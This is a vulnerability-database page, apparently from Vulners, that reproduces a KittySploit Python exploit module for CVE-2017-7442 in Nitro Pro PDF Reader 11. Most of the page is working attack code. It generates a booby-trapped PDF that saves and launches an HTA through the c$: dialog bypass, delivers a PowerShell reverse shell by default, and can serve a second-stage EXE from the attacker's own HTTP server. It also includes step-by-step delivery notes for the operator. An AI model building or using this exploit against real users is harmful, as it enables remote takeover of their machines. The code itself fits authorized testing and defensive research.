Lucene search
+L

Nitro Pro PDF Reader 11 Javascript API RCE

🗓️ 21 Jul 2026 12:37:43Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Nitro Pro PDF Reader 11 Javascript API enables RCE via HTA execution.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import random
import string
from pathlib import Path
from typing import List, Optional, Tuple, Union

from kittysploit import *
from core.framework.failure import fail
from core.output_handler import print_status
from lib.pdf.http_delivery import advertise_url, start_static_http_server
from lib.pdf.mixins import PdfFileformatExploitMixin
from lib.pdf.rce import (
    build_nitro_hta_download_exe,
    build_nitro_hta_run_command,
    create_nitro_reader_jsapi_pdf,
    payload_to_command_string,
)


def _rand_alpha(n: int) -> str:
    return "".join(random.choice(string.ascii_letters) for _ in range(n))


class Module(Exploit, PdfFileformatExploitMixin):
    __info__ = {
        "name": "Nitro Pro PDF Reader 11 Javascript API RCE",
        "description": (
            "CVE-2017-7442: Nitro / Nitro Pro PDF Reader 11 unsafe Javascript API. "
            "this.saveAs() writes an embedded HTA to disk; app.launchURL() with a c$: "
            "path bypasses the security dialog and executes it. "
            "Cmd/PowerShell payloads are run from the HTA directly. Binary (MZ) payloads "
            "are staged over HTTP as a second-stage EXE (MSF-compatible). "
            "disablePayloadHandler=true (default) generates/serves without starting the "
            "reverse listener — set false to listen after generation."
        ),
        "author": [
            "mr_me",
            "bcoles",
            "sinn3r",
            "KittySploit Team",
        ],
        "cve": ["CVE-2017-7442"],
        "references": [
            "http://srcincite.io/advisories/src-2017-0005/",
            "https://blogs.securiteam.com/index.php/archives/3251",
            "https://nvd.nist.gov/vuln/detail/CVE-2017-7442",
        ],
        "tags": [
            "pdf",
            "nitro",
            "fileformat",
            "javascript",
            "rce",
            "windows",
            "http",
            "cve-2017-7442",
            "authorized-only",
        ],
        "platform": Platform.WINDOWS,
        "arch": [Arch.X86, Arch.X64, Arch.OTHER],
        "payload": {
            "default": "payloads/singles/cmd/windows/powershell_reverse_tcp",
            "arch": [Arch.X86, Arch.X64, Arch.OTHER],
            "platform": Platform.WINDOWS,
            "category": PayloadCategory.SINGLE,
        },
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 0,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths"],
            "cost": 1.0,
            "noise": 0.4,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": [],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": [],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [{"capability": "rce", "from_detail": ""}],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [],
            },
        },
    }

    MODULE_TITLE = "Nitro Reader JSAPI RCE (CVE-2017-7442)"
    OUTPUT_BASENAME = "nitro_reader_jsapi.pdf"
    TEMP_FOLDER = "/Windows/Temp"

    filename = OptString(
        "nitro_reader_jsapi.pdf",
        "Output PDF filename",
        required=True,
    )
    uripath = OptString(
        "/",
        "HTTP URI prefix for second-stage EXE (binary payloads)",
        required=True,
    )
    serve_pdf = OptBool(
        True,
        "Also serve the generated PDF over HTTP",
        required=False,
    )
    disablePayloadHandler = OptBool(
        True,
        "If true, do not start the reverse/bind listener (PDF/HTTP only). "
        "Set false to listen after generation.",
        required=True,
        advanced=False,
    )

    def check(self):
        return {
            "vulnerable": True,
            "reason": (
                "File-format exploit for Nitro Reader 11 — generate PDF + optional "
                "HTTP EXE stage, then open on target"
            ),
            "confidence": "medium",
        }

    def _output_path(self) -> Path:
        name = str(self.filename or self.OUTPUT_BASENAME).strip() or self.OUTPUT_BASENAME
        if not name.lower().endswith(".pdf"):
            name = f"{name}.pdf"
        return self._output_dir() / name

    def _advertise_host(self) -> str:
        explicit = str(self.lhost or "").strip()
        if explicit:
            return explicit
        host = self._http_advertise_host()
        if host == "127.0.0.1":
            raise ValueError("Set LHOST (reachable by the target) for HTTP staging")
        return host

    def _normalize_uripath(self) -> str:
        path = str(self.uripath or "/").strip() or "/"
        if not path.startswith("/"):
            path = f"/{path}"
        if not path.endswith("/"):
            path = f"{path}/"
        return path

    def _exe_route(self, payload_name: str) -> str:
        route = f"{self._normalize_uripath()}{payload_name}.exe".replace("//", "/")
        return route if route.startswith("/") else f"/{route}"

    def _payload_bytes_or_cmd(self) -> Tuple[Optional[bytes], Optional[str]]:
        raw: Union[str, bytes, None] = self.payload
        if isinstance(raw, bytes) and raw.startswith(b"MZ"):
            return raw, None
        return None, payload_to_command_string(raw)

    def _serve_routes(self, routes: dict) -> None:
        bind = str(getattr(self, "srvhost", "") or "0.0.0.0").strip() or "0.0.0.0"
        port = int(getattr(self, "srvport", 8888) or 8888)
        start_static_http_server(routes, host=bind, port=port)
        print_status("HTTP delivery server running in background")

    def _generate(self, output_path: Path) -> List[Path]:
        payload_name = _rand_alpha(4)
        host = self._advertise_host()
        port = int(getattr(self, "srvport", 8888) or 8888)
        artifacts: List[Path] = []

        try:
            exe_bytes, cmd = self._payload_bytes_or_cmd()
        except ValueError as exc:
            fail.Message(str(exc))
            raise

        try:
            if exe_bytes is not None:
                exe_route = self._exe_route(payload_name)
                exe_url = advertise_url(host, port, exe_route.lstrip("/"))
                hta = build_nitro_hta_download_exe(
                    exe_url,
                    payload_name=payload_name,
                    temp_folder=self.TEMP_FOLDER,
                )
                create_nitro_reader_jsapi_pdf(
                    output_path,
                    hta,
                    payload_name=payload_name,
                    temp_folder=self.TEMP_FOLDER,
                )
                routes = {
                    exe_route: (exe_bytes, "application/octet-stream"),
                }
                if self.serve_pdf:
                    pdf_bytes = output_path.read_bytes()
                    routes[f"/{output_path.name}"] = (pdf_bytes, "application/pdf")
                    routes["/"] = (pdf_bytes, "application/pdf")
                self._serve_routes(routes)
                print_success(f"    EXE stage: {exe_url}")
                if self.serve_pdf:
                    print_success(f"    PDF URL:   {advertise_url(host, port, output_path.name)}")

                exe_file = self._output_dir() / f"{payload_name}.exe"
                exe_file.write_bytes(exe_bytes)
                artifacts.extend([exe_file])
                mode_note = "STAGE=http-exe (binary payload)"
            else:
                assert cmd is not None
                hta = build_nitro_hta_run_command(cmd, payload_name=payload_name)
                create_nitro_reader_jsapi_pdf(
                    output_path,
                    hta,
                    payload_name=payload_name,
                    temp_folder=self.TEMP_FOLDER,
                )
                if self.serve_pdf:
                    pdf_bytes = output_path.read_bytes()
                    self._serve_routes(
                        {
                            f"/{output_path.name}": (pdf_bytes, "application/pdf"),
                            "/": (pdf_bytes, "application/pdf"),
                        }
                    )
                    print_success(
                        f"    PDF URL:   {advertise_url(host, port, output_path.name)}"
                    )
                cmd_file = self._output_dir() / "payload_cmd.txt"
                cmd_file.write_text(cmd + "\n", encoding="utf-8")
                artifacts.append(cmd_file)
                mode_note = "STAGE=inline-hta (cmd/PowerShell payload)"
        except ValueError as exc:
            fail.Message(str(exc))
            raise

        hta_out = self._output_dir() / f"{payload_name}.hta"
        hta_out.write_text(hta, encoding="utf-8")
        artifacts.append(hta_out)

        print_info(f"    Drop: C:{self.TEMP_FOLDER}/{payload_name}.hta")
        print_info(f"    Mode: {mode_note}")

        notes = self._output_dir() / "DELIVERY_NOTES.txt"
        notes.write_text(
            "\n".join(
                [
                    f"# {self.MODULE_TITLE}",
                    "# Authorized penetration testing only.",
                    "",
                    f"PDF={output_path.name}",
                    f"HTA_DROP=C:{self.TEMP_FOLDER}/{payload_name}.hta",
                    mode_note,
                    "1. Deliver/open the PDF in Nitro Reader 11.",
                    "2. saveAs writes the HTA; launchURL executes it (c$: bypass).",
                    "3. If disablePayloadHandler=true, start the reverse listener before open.",
                    "",
                ]
            ),
            encoding="utf-8",
        )
        return [output_path, *artifacts, notes]

    def run(self):
        try:
            return self.run_pdf_fileformat(
                self._generate,
                delivery_hint=(
                    "Open the PDF in Nitro / Nitro Pro Reader 11. "
                    "set disablePayloadHandler false to listen now."
                ),
            )
        except ValueError:
            return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2026 12:42Current
7.9High risk
Vulners AI Score7.9
CVSS 26.8
CVSS 38.8
EPSS0.40692
3